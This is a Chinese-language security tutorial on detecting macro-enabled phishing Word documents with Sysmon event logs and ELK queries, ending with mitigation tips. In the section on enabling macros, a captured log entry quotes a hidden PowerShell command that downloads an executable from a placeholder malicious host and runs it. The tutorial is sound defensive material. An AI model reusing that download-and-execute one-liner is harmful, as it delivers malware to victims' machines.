简单来说Sysmon是一个能监视你系统的轻量级工具。
sysmon介绍
sysmon是由Windows Sysinternals出品的一款Sysinternals系列中的工具。它以系统服务和设备驱动程序的方法安装在系统上,并保持常驻性。sysmon用来监视和记录系统活动,并记录到windows事件日志,可以提供有关进程创建,网络链接和文件创建时间更改的详细信息。
通过收集使用Windows事件集合或SIEM代理生成的事件,然后分析它们,你可以识别恶意或异常活动,并了解入侵者和恶意软件在你的网络上如何操作。
所以,本文我会介绍一下如何使用Sysmon寻找带宏的Word恶意文档。
使用场景目前钓鱼攻击肆虐,稍微一不小心就可能被攻击。最常见的钓鱼手段就是攻击者会发送一些带有链接或Word文档附件的诱骗电子邮件,当用户打开时,恶意行为就会开启。所以如果能在带宏的Word恶意文档打开之时,用Sysmon进行提前检测,那被攻击的概率就会下降很多。
电子邮件以下是用户收到的一些电子邮件的形式,有的带有链接有的是带有附近。
当用户采取以下操作时,就将看到使用sysmon记录的操作。我还将包括字段名,以防你有ELK设置,以便于在你的环境中轻松搜索这些命令或进程。
你将看到以下这3个捕获的Sysmon事件ID:
事件ID 1:进程创建,进程创建事件提供了有关新创建的进程的扩展信息。比如,完整的命令行提供了进程执行的上下文,ProcessGUID字段是跨域标识某个进程的唯一字符,以便更加方便地处理相关事件,另外,所用的哈希算法都用的是HashType字段且为完整的哈希字段。
事件ID 11:FileCreate,创建或覆盖文件时,这些创建操作会被记录下来。此事件对于监控自动启动位置,如启动文件夹目录、临时目录、下载目录非常有用,而这些目录正是初始感染阶段恶意运行要用到的目录。
事件ID 15:FileCreateStreamHash,当创建命名文件流时就会生成该事件,事件日志中会记录下文件流所对应的文件内容的哈希值以及命名文件流的内容。有一些恶意软件可以通过浏览器下载来删除它们的可执行文件或配置设置,而这个事件的目的是基于MOTW(mark of the web)区域,以捕获这个区域的文件流。MOTW 是一个注释作为标签添加到网页中的,当用户打开存储在本地的网页文档时,浏览器通过读这个注释判断是否在安全区域。
寻找带宏的Word恶意文档点击钓鱼链接
捕捉到的事件代码段如下:
EventID: 1 event_data.ParentCommandLine: “C:Program Files (x86)Microsoft OfficeOffice14outlook.EXE” event_data.Image: C:Program FilesInternet Exploreriexplore.exe event_data.CommandLine: “C:Program FilesInternet Exploreriexplore.exe” https://Dcompany.life_qliwiwkwstxrkgbbz_bdfnccd&d=DwMF-Q&c=LQ_lgKiodJdZA event_data.User: PhishedUser
让我给你解读一下该代码段:PhishedUser点击了Outlook中的一个链接,启动了IE浏览器,并打开了一个叫https://company.life_q…..com的网站。
Word恶意文档的下载
捕捉到的事件代码段如下:
EventID: 11 event_data.Image: C:Program Files (x86)Internet ExplorerIEXPLORE.EXE event_data.TargetFilename: C:UsersPhisedUserAppDataLocalMicrosoftWindowsTemporary Internet FilesContent.IE5POHSQH126E713D2A.doc
让我给你解读一下该代码段:IE浏览器下载了一个名为6E713D2A.doc的文件。请注意:日志有时可能会显示为.tmp文件,这是因为有些事件在日志记录时,还未下载未完成。
Word恶意文档的打开
捕捉到的事件代码段如下:
EventID: 1 event_data.Image: C:Program Files (x86)Microsoft OfficeOffice14WINWORD.EXE event_data.TargetFilename: C:UsersPhisedUserAppDataLocalMicrosoftWindowsTemporary Internet FilesContent.IE5POHSQH126E713D2A.doc
让我给你解读一下该代码段:用户打开了6E713D2A.doc文件。
启用宏的Word文档
捕捉到的事件代码段如下:
EventID: 1 event_data.ParentImage: C:Program Files (x86)Microsoft OfficeOffice14WINWORD.EXE event_data.ParentCommandLine: “C:Program Files (x86)Microsoft OfficeOffice14WINWORD.EXE” -Embedding event_data.Image: C:WindowsSysWOW64Windowspowershellv1.0powershell.exe event_data.CommandLine: powershell -WindowStyle Hidden $webclient = new-object System.Net.WebClient;$myurls = ‘http://Malicioussite.su/z3FRJz’.Split(‘,’);$path = $env:temp ‘65536.exe’;foreach($myurl in $myurls){try{$webclient.DownloadFile($myurl.ToString(), $path);Start-Process $path;break;}catch{}} event_data.User: PhisedUser
让我给你解读一下该代码段:带有宏的Word恶意文档被启动,并运行了一个powershell命令,该命令正在尝试从http://Malicioussite.su/z3FRJz下载一个名为65536.exe的可执行文件。
通过Powershell下载的有效载荷
捕捉到的事件代码段如下:
event_id: 11 event_data.Image: C:WindowsSysWOW64WindowsPowerShellv1.0powershell.exe event_data.TargetFilename: C:UsersPhisedUserAppDataLocalTemp65536.exe
让我给你解读一下该代码段:Powershell将65536.exe下载到C:UsersPhisedUserAppDataLocalTemp
在该恶意软件启动之后,就可以执行各种恶意攻击了,例如加密用户的文件,或者建立某种持久性攻击。不过如果你感兴趣,那你可以了解Sysmon记录的其它恶意操作,以确切地知道进行了哪些更改,比如,未经授权的软件,出站连接。
现在我们就完全了解了这些事件的记录过程,可以对其操作进行进一步简化。
检测相关操作
如果你有良好的日志管理方式,如ELK,Splunk等,那你应该有一些预定义的保存的搜索,这将允许你在你的环境中寻找恶意目标。你可以通过以下的查询语句,来查找通过Word或其他微软产品启动的某些进程,如cscript.exe,cmd.exe,powershell.exe,wscript.exe。
event_data.ParentImage: office AND (event_data.Image: (wscript.exe OR cscript.exe OR cmd.exe or powershell.exe))
查询结果如下。
另外,微软产品,如Word,Excel,PowerPoint等可能会调用其他可执行文件,比如,在rundll.32.exe文件中 ,通常你会捕捉到事件ID 1,它与outlook中的打印文档(File > Print)或文件索引(“C:WindowsSystem32rundll32.exe” shell32.dll,Control_RunDLL “srchadmin.dll”)有关。除此之外,在conhost.exe,regsvr32.exe,Explorer.exe中都能捕获类似事件。
此外,还有一些查询语句非常有用,可以查找在outlook中的“.doc”文档。
比如,可以用以下语句查询事件ID 1
event_data.ParentImage: outlook.exe AND event_data.CommandLine: “.doc”
可以用以下语句查询事件ID 15
event_data.Image: outlook.exe AND event_data.TargetFilename: “.doc”
请注意:只有确保你检查了运行环境中的所有内容,才能识别出正常运和非正常的运行行为、查询语句,并最终确保你做出提前预防。
防止代宏的恶意文档下面我给出5种方法,来让你免受此类威胁:
1.点开任何链接或附件时一定要仔细看清楚,并进行安全检测。
2.通过GPO阻止Office 2016的宏运行。对于Office 2013,你可以通过设置Office选项,禁用所有具有通知或不通知的宏。
3.阻止有效载荷下载,通过应用层防火墙,你可以只让白名单的信任站点下载.exe文件。
4.监控所有端点日志。
5.主动了解任何与安全有关的资讯。
,